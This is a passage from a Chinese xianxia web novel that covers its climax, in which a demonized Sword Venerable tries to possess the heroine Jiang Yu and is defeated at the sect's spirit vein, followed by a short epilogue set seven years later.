姜鱼道:“但我还是不明白,我……有什么特殊的,值得大长老您这么大费周章对付我?” 大长老目光沉沉落在她身上,“来自异世的魂魄、年轻而有天赋的身体、无限的潜力,这岂不是……最佳的夺舍对象?” 姜鱼额头沁出冷汗。 夺舍! 果然……果然是…… 自从问天剑灵出现,姜鱼就在想,问天剑尊是否还存活在人间,如果他还在,那他销声匿迹三千年,到底是去哪了?姜鱼推测,他可能是飞升失败,受了重创,天雷之下,甚至可能躯壳不存,只剩一丝魂灵游荡人间。 问天剑坠入魔渊,成了魔剑残片,又被魔物带到人间,而他回到最熟悉的剑宗,潜伏起来,不知过了多久,他找到了夺舍的机会,夺舍了宗内元老,可能随着时日流传,他在不断更换躯体,直到今日…… 而现在,他盯上了自己,还点出自己前世来自异世,难道是她这个身体更好夺舍? “没错,你不会以为夺舍一事很容易吧?”此事是逆天而为,每次夺舍,他都会陷入长时间的虚弱期,但姜鱼这具身体不一样,她的魂魄来自异世,不受此间天道庇佑,夺舍她没有副作用。 这是他盯上姜鱼,不惜做足准备,铺垫了这么长时间的原因。 “所以,你就是问天剑尊?” “没错。” 他回答得越干脆,就越令姜鱼心慌,这说明对方已经胜券在握,笃定了自己已经是个死人,所以才大方的告知一切。 此时他心中的得意怕是已经接近巅峰。 “可我是女人。” “你觉得我夺舍躯体,还会看重性别?”他看着姜鱼,眼中流露贪婪之色,“你既然在天道规则之外,用你的躯体,说不定方能实现吾之大计。” 姜鱼心说,你都这样了,还想着大计呢? 但这话不能说出来,此刻她只想从大长老口中套出更多话,顺便拖延时间。 “这么说,你当年飞升的传闻确实是假的——” “呵。” “知道我为什么让那些人入魔吗?”大长老忽然打断她的话,“你的躯体虽好,但你本人心中难起魔念,哪怕问天剑将魔气注入你体内,你直至今日,依然没有入魔之兆。” 姜鱼一惊。 所以她真的没入魔,这些日子影响她的、她以为的魔纹,是问天剑注入的魔气?! “但没关系,你没有魔念,别人有。”大长老抬手,他手中出现四团氤氲的灰气,“只要是跟你有关的人,他们的魔念也会影响你,在你心中生成真正的魔种——” 姜鱼心知不妙,捏符想跑,但大长老的修为比她高出太多,没看到他出手,便将她牢牢定在原地,令她动弹不得。 接着,他手一抬,那四团魔念径直没入姜鱼心口! 一阵惊人寒意霎时从心脉蔓延到四肢百骸,令姜鱼浑身发寒,额头的冷汗却依然冒个不停。 大长老阴邪一笑,“魔念入体,魔化已成定局,你的小把戏不管用了。有这几团魔念,你的魔化速度将是其他人的百倍、千倍,等他们找到你时,你已经是个魔物了!” “你……你要夺舍……为什么还要我入魔?”在魔念影响下,姜鱼艰难提问。 大长老没有回答,他看了一眼洞外,隋鹭和西江月正往这边赶来,不再停留,纵身跃出山洞。袍袖震动间,露出一截手臂,细如枯枝,指甲尖黑,分明是一只魔物的手。 “是大长老!” “快追上他!” “他要去哪?” “问天……问天剑!”姜鱼用尽最后力气,奔出洞口,“师尊,别让他拿剑……” 隋鹭回头看了一眼,见徒弟状况不佳,两下为难,西江月已纵身而出,“隋鹭,不能让他走,这里交给宿舟。” 隋鹭心知西江月一人打不过大长老,一咬牙,跟了上去。 三人在漫天风雪中交起手来。 冲出山洞的姜鱼腿一软,本以为会扑倒在雪地里,却落入了一个温柔的怀抱。 “宿……行云。” “小鱼,你怎么了?” 宿舟将她抱在怀里,感觉姜鱼的身体冷得厉害,心猛然发沉,抱着她回到山洞,用毯子裹着她。 姜鱼冻紫唇色稍微恢复一些,但还是在不住发抖,“他、他是……问天剑尊……” “我知道了。”宿舟握着她冰冷的手,帮她恢复温度,“师尊和三峰主都追去了,她们知道怎么办,你放心。” 姜鱼点点头,又说:“他……是魔物。” 宿舟瞳孔一缩。 这么短短时间,姜鱼已经想明白了。 “他想抛弃旧的魔躯,要我的身体……”她低声说,气若游丝,“所以,他要我入魔……” “我明白了。”宿舟既心疼又焦急,声音在颤抖,“现在该怎么才能救你?” “不知道……” 四团魔念盘踞心脉,姜鱼的大脑渐渐混沌,说不出话,“宿行云,你抱着我……” “好。” “别走……” “小鱼,我在。” 他用好几层毯子裹着姜鱼,又把她挪到火灵阵边,将火炉也移过来,抱着她帮她取暖,自己身上出了一层汗,姜鱼还在发抖。 他恨不能和对方骨血相融,给她取暖,可他现在除了抱着她,什么也做不了,越是无计可施,越令他焦虑难安。 姜鱼说大长老就是问天剑尊,此人已经成了魔物,所以要将姜鱼也变成魔物,方便他夺舍,他就这么走了,说明他笃定姜鱼一定会入魔,他到底对小鱼做了什么? 姜鱼意识混沌之间,仿佛来了一片虚无的苦寒之地,这里天地昏暗,气温极低,脚下是坚硬的冻土,四团灰色的气团悬在她头顶。 第一团先没入她体内,她感受到一阵强烈扭曲的杀戮之意,在这杀意之中,又藏着对自己渺小卑微的憎恨。 她眼前冒出一团虚影,她看到虚影跪在自己脚下,匍匐在地,喊她“神女”,一道声音在耳边响起,“你很讨厌他吧,杀了他,让他消失……” 姜鱼提起剑,一剑斩落—— 曾牛的虚影随之消失,身后的声音也消失,曾牛和魔物的魔念落入心中,杀意扎下了根。 姜鱼心神一颤,却无法从这混沌中醒来。 不待她喘口气,第二团魔念随之而来,那念头无比熟悉亲切,在表面的爱意之下,深藏如渊海恐惧。 她听到师姐的声音—— “那是我求之不得的人。” “师尊,我……不,弟子不敢冒犯您……” “你、你不是师尊,你是谁?” “问、问天剑尊?!” 姜鱼明白了,师姐确实爱上了宗主,可宗主不知何时被魔化的剑尊替代,师姐发现了真相,才被剑尊所害。 难怪、难怪师姐死前,也无法说出那个秘密…… 师姐的恐惧感染了她,她感到害怕,面前的虚影化为问天剑尊的模样,她既害怕又愤怒,一剑斩下! “小鱼!” “别、别杀我……” 人头滚落在地,朝向她的,竟然是李休音的脸。 姜鱼一惊,冷汗满身,脑中意识错乱,不,她怎么会杀了师姐? 魔念又加深一层。 第三道魔念落下,那念头说,她恨这个世界,恨天道无情,为何在大婚之日,夺走了她的伴侣…… 这是兰姨的滔天之恨。 面前又出现了两道虚影,姜鱼眼中像蒙着一层雾,她什么也看不见,只能看到血红的雾气,兰姨在耳边哭诉,“杀了他们、杀了他们,为我报仇,为夫君报仇——” 她不知道怎么落下了剑,眼前出现的,是跪地淌血的爹娘。 姜鱼要疯了。 杀念、恐惧、仇恨在心中纠缠,她控制不了自己杀人,她心中仅存的一丝清明在苦苦挣扎,不能、不能再杀了…… 然而恶魔不会放过她,第四道魔念随之而来,这是嫉妒。这念头嫉恨天道不公,为何有人生来好命,能做天之骄女,而她只是一个小小杂役。人群中那耀眼的存在,令她嫉妒到发狂……为什么,她不能过那样的人生?! 是洛雨。 再正直的心灵,一旦被嫉妒扭曲,也将变得面目全非。 姜鱼面前站着一个人,她言笑晏晏,漂亮鲜活,是个绮年玉貌的少女,那正是她自己。 杀了她、杀了她,从此再也没有痛苦,没有嫉恨、没有恐惧。 她将得到解脱。 那念头在心里鼓动着,脑子里无数的念头在尖叫,心脉中魔气四溢,姜鱼还剩一丝理智,她知道自己不能动手。 在心魔境中杀了自己,她就要变成魔物。 然而苦苦抑制,提剑的手仍然不受控制抬了起来—— 不,不要。 “不要……” “小鱼?” 宿舟抱着姜鱼,有一会儿,她平静的睡了过去,可才过去片刻,她就像陷入梦魇中,挣扎越来越激烈,额头冒出虚汗,雪白皮肤之下,墨黑的魔纹涌动,数量之多,触目惊心,仿佛就要挣破皮肤而出。 解开毯子,她的指甲在变长,皮肤渐渐变成暗红色…… 宿舟心神俱惊,没想到魔化来得这么快,这么迅猛。他将姜鱼放下,一念之间,已经做出了决定。 剑骨…… 剑骨能压制魔气,前几天,他在一本残卷上看到,若身怀剑骨者自愿取骨,剑骨可化为净魂之器,世间所有的魔气、邪气都能被其镇压。 他低下头,行云剑似乎察觉到他的想法,在剑鞘中震鸣不止,他抬手按住剑鞘,低声道,“行云,我意已决。” 剑鞘中传来剑灵嗡声,“你不后悔?” 宿舟:“不救她,我才会后悔。” 剑灵不再说话,悠悠叹息声消散在山洞中。 宿舟取剑,森寒剑气落在后背,破开皮肤,取骨之痛,令他猛地呕出一口血来。 他抑制住颤抖,于血泊之中……取下剑骨。 荒境之内,姜鱼的剑已经要砍落“自己”的头颅,她忽然闻到了一阵血腥气,刺激她神智稍微清醒。 紧接着,一道白光落下,她脑中的嗡鸣、充斥着负面的情感,在心脉处生长的魔种,都被这白光净化。 身体骤然轻松,暖意缓缓流回心脏。 她缓缓睁开眼睛,入目是宿舟苍白的脸色,他唇角溢出的血迹,令她骤然一怔,“宿行云,你怎么了?” 她稍微一动,就见他眉头紧皱,神情似压抑着痛苦。 她意识到了什么,抬手一摸,摸到了满手湿润的血迹,“这是……” 不待说话,心口处四道魔念被逼出,骤然飞向宿舟—— “不!” 姜鱼意识到他将剑骨给了自己,没有剑骨护身,魔念会侵蚀他的身体! “不要!!” 她发出撕心裂肺的喊声,绝望充斥四肢百骸,他用剑骨救了她,还有什么办法可以救自己?不要—— 痛彻心扉之时,悠悠海螺声响起。 白螺剑上的小海螺脱剑飞出,撞上了那四道魔念,海螺瞬间破碎,暖白的光芒瞬间将两人笼罩。 那剑光摧毁了魔念,又化为温暖的守护之力,徐徐落在两人身上。 于暖光之中,姜鱼看到一副画面,白荔捧着白螺剑,将之放回剑匣中,对身后的姜怀城道:“你要我将剑传给小鱼?” “嗯。” “她愿意吗?” “这是她自己跟我提的。”姜怀城道,“夫人有何担忧?” “我担心……学剑之事成为她的负担。” “若担不起事,怎么能我们的孩子?”姜怀城不赞同道。 “不,我只想她开开心心,过得快乐。” “那也不能……不能成为废物吧。”他小声嘀咕。 白荔回头,瞪了他一眼。 “做父母的,若不能护着孩子,只会要求这要求那,又怎么配做父母?”她说,“你让小鱼学剑,日后她遇到如我当日的险境,该怎么办?” 姜怀城说不出话了,白荔轻轻拂过剑身,“以我之见,我们共同在这剑中留下一道守护剑气,在危险关头,能救她一命。” “可是夫人……你已经不能……” 说话时,他看到白荔重新拿起了剑,将灵气逼入剑中,不过片刻,已经脸色苍白,几乎站不住,他连忙走过去,稳住了夫人的手,和她一起,灌入灵气。 夫妻二人竟将各自一半修为注入这道剑气之中,剑意凝聚,化为一颗小小海螺,系在了剑柄上。 白荔眼含泪光,轻拂剑身,“愿这白螺,护我女儿一世平安。” …… 白光收歇,白螺剑落回手中,姜鱼忍不住落下泪来。 是爹娘的守护,今日救了宿舟、也救了她。 她擦了一把眼泪,将宿舟扶起来,哽咽道,“宿行云,你怎么样了?” 剑气入体,止住了脊背的伤势,含有姜家夫妻二人一半修为的剑气并不一般,和他身上残存的小块剑骨融合,化为脊骨,支撑住了他的身体。 如此一来,伤势算是治好了,但天生剑骨,已然失去了。 他脸上却没有痛苦之色,伸手擦去姜鱼脸上的泪,“别哭,小鱼,你战胜了魔念,你很厉害……” 姜鱼心中一酸。 本来泪意要止住了,却因为他一句话,再度泪崩,嚎啕大哭起来。 “小鱼……” “宿行云,你是个大混蛋!” 一边骂一边哭,一边把他紧紧抱住了,生怕他被人抢走似的。 …… 落寒峰外,隋鹭、西江月和大长老交手百招,大长老寻了个空隙,抽身遁走,两人连忙发讯通知宗内。 剑宗之内,大长老已成魔物的消息飞速传遍各峰,四峰主、二峰主纷纷出来拦截,但大长老动作更快一筹,打伤二长老,夺走了问天残片。 残片在他手中化为一把凛凛魔剑,问天剑灵激动不已,“吾主,终于、终于等到回归之日——” “闭嘴。” 问天剑尊一句斥责,令剑灵委屈闭嘴,当初他飞升失败,问天剑剑身落入魔渊,剑鞘回归剑宗,剑鞘得了一分天道之力,化为天骄榜,而剑身不可避免的魔化了,魔化就算了,竟然只剩了一截残片…… 他堂堂问天剑尊的本命剑,竟然毁在魔渊,简直废物。这么多年,他将剑弃之不顾,直到姜鱼出现,他才有了计划。 如今有魔剑在手,只要再夺走那具完美的魔躯,他再入主魔渊,以魔主之姿重新现世,既然成仙不行,那就当魔,他一样能成为这天下之主。 剑尊折回落寒峰,在他计划里,姜鱼此时已然成了一具魔躯,谁也救不她,他带走姜鱼的魔躯易如反掌。 寒风凛冽,落雪纷纷。 冲天魔气直冲山洞,西江月和隋鹭就守在洞口,大长老冷笑一声,并不把两人放在眼里,然而接下来,姜鱼从山洞中走出,令他瞳孔骤然一缩。 姜鱼……为何没有魔化?! 他收集怨、嫉、恨、杀四道魔念,灌入她灵识之中,这种情况,别说是道行尚浅的姜鱼,换个修行高深的修士来也难逃入魔下场。 这怎可能? 震惊之余,看到她身后走出的宿舟,大长老恍然——剑骨!这小子竟然用自己的天生剑骨救了姜鱼! 早知如此,他就该杀了这小子! “主人因那小子也是剑修,有几分像自己当年,一时心软,放过了他——” “闭嘴!” 剑灵第二次被训斥,不敢吭声了。 怜悯? 他对任何人都不存怜悯之心! 他只是没想到,会在这一环出了错,宿舟怎么会知道剑骨自己可取,又怎么会放弃剑骨去救姜鱼? 大长老盯着站在洞口的两人,一双魔瞳通红,几乎要滴出血来。 姜鱼喊道:“剑尊,让你失望了。” “姜鱼——” “你这么急着夺舍我,这具身体应该撑不了多久了吧?现在全宗都知道你的魔物身份,你准备去哪避避风头呢?” “呵。” 大长老冷笑一声,剑灵劝他先去魔渊再图以后,他却改主意了,如今,他还有一个地方可去,一个足以覆灭所有人的地方—— 他不再迟疑,身形化为黑雾,往东方向遁去。 “他去哪了?” “那是——” “是灵脉!” “他去镇宗灵脉所在地了!” “他有通行禁地的令牌,若他污染灵脉,化灵气为魔气,剑宗……剑宗会毁在他手里!”西江月语气严肃,“必须阻止他。” 两人正要追去,姜鱼和宿舟也要跟上,隋鹭回头道,“你们两先回去——” 她看两人的目光带着疼惜,这一次他们两受了这么大的罪,身为长辈怎么能不心疼,实在不想看他们再犯险了。 “师尊,我们也是剑宗的一份子,说不定能帮上忙呢。” 隋鹭犹豫道:“就算要去,也只能在外围支援。” 如果她预感没错,这次情况恐怕相当不妙了,先不论他们能不能杀了魔化剑尊,灵脉一旦被魔气污染,等于剑宗根基被毁,上万弟子该何去何从?剑宗这个家,将不复存在…… 姜鱼又道,“师尊,大长老如今是魔躯,有一个东西对付他非常有效。” 隋鹭眼前一亮,“镇魔令!” “你们速去取镇魔令,我先去灵脉支援。” “师尊小心。” 隋鹭去了,姜鱼看了一眼宿舟,关切问,“你还好吗?” “没事。” 虽然剑骨几乎失去,但白螺中的灵气治好了他的伤势,他已活动自如。失去剑骨的影响,是他对行云剑的感知变弱了…… 不过他不会对着姜鱼表露出来,以免让她担心。 “咱们去拿镇魔令吧?” “好。” 她正要贴符御风,宿舟对她伸出了手。 姜鱼回头一瞅,宿舟也正看着她,墨眸中暗含期待。 她上前牵起了宿舟的手,两人十指紧扣,一起纵身投入风雪中。 第57章 剑宗主峰上, 灵脉禁地。 大长老闯入之时,镇守禁地的长老已得到了通知,但他手持令牌, 可通行无阻,加上魔剑助力,他不再掩藏,千年魔威释放, 长老们难以抵抗, 死伤一片。 这时, 各峰主、长老也陆续赶到了, 二长老带伤而来, 大长老已然持魔剑劈开封印,地裂十丈,露出下方莹蓝色的灵矿地脉。 魔气就要顺着剑气污染地脉, 二长老大喊一声:“住手!” 随着她一声话音落, 二十道金符飞出,将地裂牢牢封住, 四峰主上前一步,笑着道,“剑尊,晚辈这二十道金符, 与命数气运相连, 想污染灵脉, 就请从晚辈尸体上踏过去。” 大长老眼睛一眯, 冷哼出声。 接着,姜怀城、隋鹭、西江月上前,摆开了攻击阵势。 而身后长老们手掐法诀, 开始布阵。 问天剑尊看着他们动向,显然是这三人主攻,二长老指挥,精通符阵的四峰主带着其他长老护灵脉,倒是分工明确。 天剑宗可说是他的心血,有他镇压魔渊,才有剑宗的壮大,没有他,剑宗哪有今日?这些人在他面前确实只能称晚辈。 这几千年来他的魔功随着时间增长,一旦到了躯体无法承受的程度,就不得不更换一副新的躯体,大长老这具身体已经算是时日长久的了,依然无法承受。若不是因此,他也不会费尽心机想要姜鱼的身躯。 没想到他会功亏一篑,可就算如此,这些人也不够看的。 他不再遮掩,浑身魔气四溢,衣袍震碎,露出了魔物的真容。此时的问天剑尊,在经历飞升失败,数度夺舍之后,已彻底成了魔物。头上双角,通体皮肤暗红,外覆着一层魔气凝成的魔甲,趾爪尖利,身后魔翼展开,几乎遮天蔽日。 随着他显出原形,澎湃魔威如山岳沉沉压下,众人心头一滞,后排的长老当场吐血。剑尊魔化后的实力,已超过魔王级别的魔物! 但剑宗之人,也不会因此就被吓退,守护灵脉,是他们的责任。 问天魔剑横扫,姜怀城三人也攻了上去,灵脉禁地内,灵气与魔威你来我往,互相攻伐,声势惊天动地。 弟子们遥望这场景,纷纷震惊。 “听说大长老入魔了,这魔威,真有些吓人……” “那是灵脉方向吧,万一灵脉出事,宗门怎么办?咱们要不要去帮忙?” “你去有什么用,打得过大长老一根手指吗?而且灵脉禁地,咱们也进不去啊。” “要是能帮上忙还好,就怕去了只是添乱,长老们都在,应该能应付这局面吧?” 正讨论热闹,就见头顶上方一只白鹤带着两人,携着一道金光往灵脉方向而去。 “你们看,那是谁?” “那是周夫子的白鹤吧?鹤上是谁?” “不知道啊……看着有点像姜鱼?另一个是宿舟?” …… 白鹤载着宿舟和姜鱼飞过几个峰头,落在了灵脉之外,姜鱼摸了摸它的脖颈感谢,拿着夫子的令牌,和宿舟进了禁地之内。 禁地内,剑尊和众长老正在激战,姜怀城和西江月、隋鹭都受伤不轻,后方长老们还在维持阵法,保护灵脉,魔气频繁冲击之下,四峰主的金符已被震碎十七道,剩下三道摇摇欲坠。 而剑尊这边,消耗也甚剧,魔翅被斩断一边,身上魔甲碎裂,灵气在身上多处伤口灼燃,这些人的顽强在他意料之外,更可恨的是,他越是动用魔气,这具身躯越是承受不住,使得他无法使出全力。 “你们……若不是吾之余荫,哪有你们今日!”问天剑尊扫视众人,“昔日要不是我封印魔渊,救了修界,你们一个两个,早成为魔族的饵食!” “我救了你们,如今你们却要置我于死地,你们忘恩负义,今日在这里逼死我,和魔又有什么区别?” 众长老面面相觑,神色有些动摇,他们也是听着剑尊事迹成长起来的,谁也没想到,剑尊会变成这样。 “别被他的话影响。”二长老浑身浴血,举剑不退,“剑尊,你封印魔渊,我们都敬服你,如今大陆上还传扬着你的事迹,剑宗弟子更是没有一日忘记你……但你飞升失败入魔,此是天道之意,你魔化后害了多少人?宗主、大长老、还有剑宗弟子李休音,都死在你手,你还要毁剑宗命脉,我们今日对付你,只是为了保护弟子、保护宗门,我们没错。” 剑尊魔瞳之中赤红火焰燃烧,恨火炽盛,“你的意思,是一切都是我咎由自取,要怪就怪天道?” 众人沉默,神色都有些复杂。 “天道……” “哈哈。”他仰头望天,深感讽刺。在他看来,这世间最无耻的,就是天道,它高高在上,玩弄众生,他以封印魔渊的功业,不得飞升,天道不让他飞升,偏偏又留他一道残魂,让他咽不下这口气,才到了如今这地步。 “说什么狗屁天道,今日我就先杀你们,再颠覆这天道!” 随着天边一道惊雷炸响,他调动全身魔气,灌注于问天剑中,一剑斩下! 魔威浩荡,不可一世。 “小心!” 二长老出声提醒,众人也不再保留,全力出手,然而没想到的是,剑尊这一剑不是砍向他们,而是斩向灵脉。 锵—— 三道金符碎裂,魔气灌入地下! 四长老当场吐血,倒地不起,而同时,众人蓄招将发,竟然犹豫了,因为剑尊这一剑没有摧毁灵脉,反而是将自己和灵脉绑在了一起。 “不好了,他将自己的命脉和灵脉绑在了一起!” “杀了他,就等于斩断剑宗灵脉!” “不能杀他!” 有人高喊起来,然而魔气弥漫,在此地僵持下去,他们本来就受伤不轻,恐怕坚持不了多久了。 剑尊唇角挑起,他深知这些人怕什么,只要他们犹豫,机会就到了他这边,他将吸纳灵脉之力,将这些人一击斩杀。 僵持之间,一道清脆声音响起,“别被他的计谋骗了,让他得逞。” “姜鱼?!” “你们怎么来了?” 长老们错愕回头,姜鱼的声音清晰传入众人耳际:“剑宗是先辈们建起来的,灵脉没了还能再找,人没了,剑宗才是真的散了。” 宿舟随之道:“现在不杀他,等他吸纳了灵脉,你们照样要死。” 众长老神色一震,他们太顾及灵脉,险些被剑尊牵着鼻子走了! “姜鱼,又是你——” 姜鱼挑眉,“剑尊前辈,你送我四道魔念,我也送你一份大礼。” 她抬手掐诀,镇魔令浮上半空,魔气被之压制,宿舟和她一起灌注灵气,共念口诀,“神霄玉法,敕令镇魔!” 霎时金光大作,魔气遭到压制。 西江月、隋鹭同时动了,这时不杀他,后患无穷! 剑尊咬牙,仓促调动灵脉之力,接下这招,然而镇魔令对他的压制效果显著,他挡下了镇魔令,却没挡下另外两人的杀招,西江月和隋鹭一左一右,两剑贯穿他心脉。 “啊啊啊——” 随着两人得手,身后众人跟上,漫天灵光压了过来,剑尊呕出两口魔血,不甘大势已去,浑身魔气轰然一爆! 自爆之威,震天动地。 长老们刚刚抛出护身法器就被震碎,根本无法与之对抗,眼看众人都要被炸成灰飞,地下还未被污染的一截灵脉散为脉脉灵光,化为灵光护盾,将众人保护在其中,待魔物自爆之威散去,灵光盾才渐渐消散。 而问天剑尊的魔躯,也随着灵脉,消散在天地间。 “剑尊……死了?” 众人正惊讶感慨之时,剑尊身死之地,仅剩下一块问天剑残片,那残片忽然飞起,往离它最近的西江月飞去。 “师尊!” 宿舟倏然一惊,连忙去救,西江月此时气力已尽,无法躲避,将徒弟竟然来救自己,不禁神色一怔,又见剑刃转向,不由道,“快躲开!” 宿舟刚拉开西江月,那剑刃竟然掉头,往他身上冲过来。 “宿行云!” 自从进来之后,姜鱼一直分了一丝注意力在宿舟身上,担心他还没恢复,此时见他遇险,也急忙来救他。 这可急坏了隋鹭,想拦她,但她动作太快,竟没拦住。 场面一片混乱,最终还是姜鱼挡下了剑刃,那散发着魔气的剑刃撞在姜鱼身上,却没能没入,而是像撞上了什么屏障,当一声掉在了地上。 被赶上来的长老们一顿灵诀乱轰,终于碎成了渣,随风而散了。 危机消除,姜鱼愣住了。 刚才是什么东西救了她? 难道是剑骨?不对吧,剑骨化为净魔之器,在逼出魔念时,已然消耗掉了,刚才她好像听到了“叮”一声…… 难道是系统? 她试着呼唤两声,系统依然跟往常一样装死,没有动静。 正沉思时,她旁边宿舟忽然身形一晃,倒了下来。 “宿行云?!” “徒弟?” “快,救救他——” …… 剑宗大长老之乱,在众人齐心协力之下,总算是被成功化解,这一战,二长老、四峰主受伤严重,性命垂危,不得不闭关修养,除此之外,三峰主和五峰主等人也受伤不轻,但总归没有酿成不可挽回的大祸。 剑宗七条灵脉,被魔气污染了一条,预计起码要数百年的时间来净化修复,另有三条化为了灵盾,阻挡住了剑尊的惊世一爆,保住了剑宗几千人的性命。 这样一来,灵脉只剩下了三条,剑宗灵气变得稀薄了不少。灵脉是宗门实力的象征,小宗门至多一条或没有,拥有五条以上才可称大宗门。 如今灵脉损了四条,剑宗弟子们听了除魔事迹,不仅无人离宗,人心竟然凝聚到了前所未有的地步,都愿与剑宗共存亡,三长老也宣布了计划,由长老们出门寻找无主灵脉,再移植过来,虽然花费的时日难料,但七条灵脉总归会有恢复之日。 而后复盘整件事,长老们都认为,姜鱼和宿舟在其中发挥了最重要的作用,如果不是姜鱼识破大长老阴谋,如果不是宿舟在关键时刻救了姜鱼,如今的剑宗、如今的天下,恐怕都将面临一场空前灾祸。 “多亏了小鱼啊……” “三长老,有女如此,该当自豪啊。” “剑宗后继有人,吾等甚为欣慰。” 面对姜怀城,长老们纷纷感慨,连二长老也一改以往态度,“小鱼行事作风,有创宗祖师之风,我想,我也该多变通一些了。” 天骄榜上,濛濛白光亮起。 这一年的天骄试炼,也终于有了结果,新的天骄名单公布,有三人新上榜:姜鱼、宿舟、芸晚。 这结果芸晚自己都有些意外,李师姐死后,原本是两个名额,为何会多出她一个?仔细一看,天骄榜第三的屠石师兄竟然被除名了。 据说大长老动乱期间,他带着几个弟子竟然想偷偷离宗,被管事长老发现,如今,这几人都被逐为外门弟子了。 听说屠石被除名之后,心态大崩,连掉了三个境界,如今在外门,连一般的外门弟子都打不过了,名声更如过街老鼠一般,人人喊打,日子过得相当不如意。 “好啊。” 姜鱼听到这话,只想当场鼓掌,屠石坑她那些事,她还记得呢,这下场也算是他自找的。 “小鱼,那宿师弟呢?”芸晚小心问。 自从那天后,她就没听过宿舟的消息,虽然天骄榜上有他的名字,但他一直没露面,据说和大长老一战中,他受了重伤,还在休养,这不禁令芸晚担心。 “他啊……”姜鱼双手支着下巴,“他睡了。” “睡了?” 芸晚道,“是为了恢复伤势而沉睡吗?要睡多久?” 姜鱼掰着指头数了数,“六、七年吧。” 芸晚惊讶:“这么久?” 姜鱼:“可不是吗?宿行云这个混蛋……” 芸晚:…… 她怎么从这咬牙切齿的语气中,听出一丝甜蜜呢? “不过……”姜鱼绕着头发丝,“这次他可以完全恢复,所以我原谅他了。”《 》 (正文完) 第58章 时间流逝, 七年过去。 “你们新入门的弟子,暂时住在一峰上。” “师姐,那边就是天剑主峰吗?” “对。” “听说天骄们都住在主峰上, 要是我能成为天骄,该多威风啊。”一个弟子畅想着,周围弟子顿时哄笑。 “别笑,有志向是好的。”引路师姐道, “不过要当上天骄可不容易, 你们还差得远呢。” “师姐, 如今的天骄之首, 是谁呀?” “是——” 师姐刚要开口, 忽然听到一阵清悦铃铛声。 随着铃铛轻响,迎面走来一个年轻姑娘,浅色罗衣碧绿留仙裙, 裙摆层层叠叠, 如绽开的莲叶。 她腰间挂着一把银白长剑,剑上铃铛声轻响, 容貌长得极为好看,尤其是眼睛很亮,杏目星眸,叫人一见难忘。 那师姐一见她, 立刻微退一步, 躬身道, “见过首席。” 新弟子们张大了嘴, 这、这就是剑宗天骄首席弟子吗?竟然看起来这么年轻,看起来亲切,气场却很足。 那姑娘笑着冲他们点点头便走了, 等她走远了,弟子们才松口气,还有些没回神,“那就是首席师姐?” “首席真气派啊,师姐看起来虽然亲切,又有威严,我要成为师姐的迷妹了!” “师姐带的那把剑,看起来就很不一般。” “听说昔年大长老作乱,姜师姐立下大功,成为众弟子表率”引路师姐心怀向往,说道,“说起来,她和天骄榜第二的那位师兄,还有一段故事。” “什么故事?快说给我们听听吧!” 一说起八卦,弟子们顿时来了兴趣,缠着她想打听,师姐笑了笑,“日后你们自己慢慢了解吧,首席师姐的事,我可不能乱说。” 姜鱼路过第一峰去往二峰,是去看望于照的。 当年为了搜集魔念,大长老陆续让她身边的人魔化,而于师兄不是收集魔念的一环,估计只是为了给他们路上制造困难,被牵连的,属实是有些倒霉了。 原本他对芸芜的愧疚,并不至于让他入魔,更多是大长老催化了魔念,才会行为失常,那时她想出阻止魔化的办法,抑制了于照魔化,但那个方法并不完善,可以说只是一个萌芽的念头。 这七年时间,经过医修们的反复研究,他们研究出了把魔种冰封的办法,将已催化的魔种冰封在丹田中,估计十年二十年左右的时间,可以让魔种彻底枯萎。 如今是于照体内的魔种冰封第七年,因为这些年情况稳定,他被获准出宗一次,这一趟出门,他去看望了芸芜,刚刚回来。 姜鱼接到消息,就来看他了。 走到于师兄院子,就听到两人谈话声,于照道:“我去看了芸芜,她已经不记得我了。” 另一人声音温柔清淡,正是芸晚的声音。 “你为何要去打扰她?” “我只是在远处看了看,并未打扰。” “那你怎么知道她不记得你了?” “是她那位夫君提起,‘你还记得当年那仙人吗?’” 那时于照站在山头,听着夫妇二人谈话,他离得很远,并未让两人看见他,凭着修为却能听到两人说话声。 那男子打趣道,“当年你还说‘仙人会来接你’,叫我离你远点呢。” 芸芜用拐杖打了老伴一下,“多少年的老黄历了,你还提,什么仙人后人,我连他长什么样都忘记了。” 老伴笑呵呵的,“阿芜,你说做仙人好,还是做凡人好?” 芸芜想了想,“谁知道呢?我妹妹去修仙,十年也难见一面,她觉得自己过得好,我觉得我这辈子也还不错,少羡慕别人,过好自己的日子,就够了。” “夫人说的是。” 夫妻两都已过了甲子之年,满头白发,相携着从山道走回家,影子迎着夕阳拉得很长,那画面宁静祥和。 于照彻底释然了,不管是对芸芜,还是面前的芸晚,他不再想着补偿什么,挽回什么,人家的人生过得刚刚好,他做什么都是多余。 芸晚喝了一杯茶,“师兄这茶,今日味道最好。” “是吗?” “清淡不涩,已得茶之真谛。” 她起身告辞,姜鱼也悄然起来,这么看来,师兄和芸师姐的心结彻底解开了,真好。 另一边的四峰之上,同样有人在喝茶。 四峰主端着茶杯,眺望远处,叹气,“她们还要喝多久?” 身旁小童不解,“峰主,那两位喝她们的酒,与咱们何干呢?” 四峰主:“她们喝酒就喝酒,为何要到我峰上来喝?一会儿打起来,我该帮谁?” 童子想了想,“峰主,别忘了,您还在养病呢。” “哦,对。” 四峰主那年和大长老一战中伤重,至今还在休养,想起自己是个病号,瞬间底气足了,“扶我去休息,一会儿她们要是打起来,就说我病中好静,让她们换个地方打。” “是,峰主。” 夕阳为峰顶铺上一层金光,西江月和隋鹭对坐着,从早到晚,已喝了五坛酒了。 “最后一杯。”隋鹭道。 “你为何要找我喝酒?” “小鱼不来看我,我无聊。” 西江月眼皮微抬,很看不惯她这没个正形的样子,“你就不能自己找点事做?” “我有事做啊,养鸡、养猪、养鱼,我忙着呢。” “……” “倒是你,你徒弟都躺了七年了,你不无聊?” 提起这话,西江月脸色微沉,当年她接受不了宿舟和姜鱼在一起,可大长老一战时,宿舟竟然豁出性命,帮她挡剑,那一刻她说不感动是假的。起码徒弟没白教,她勉强接受了他和姜鱼的事,顺带看隋鹭稍微顺眼了那么一点点。 听她提这事,她有些不快,当初那么多人一起对付剑尊,怎么就她徒弟那么倒霉?这一躺就是七年。 “说起来,他也该醒了吧?” “就这两天吧。” “那就好。”隋鹭道,“到了这个年纪,见后辈们好好的,不比什么都好?来,干一杯。” 西江月被她这话说动,举起酒杯。 “那咱们当年的事,也翻篇了呗。” “休想。” “你讲不讲理?” “不讲。” “嘿,你这人——这把年纪了,还这么气量,小心有碍寿数。” “放心,我绝不在你前面咽气。” “这可不好说。” “以后每年来此喝酒。”西江月道,“谁先来不了,算谁输,如何?” “就这么说定了。” 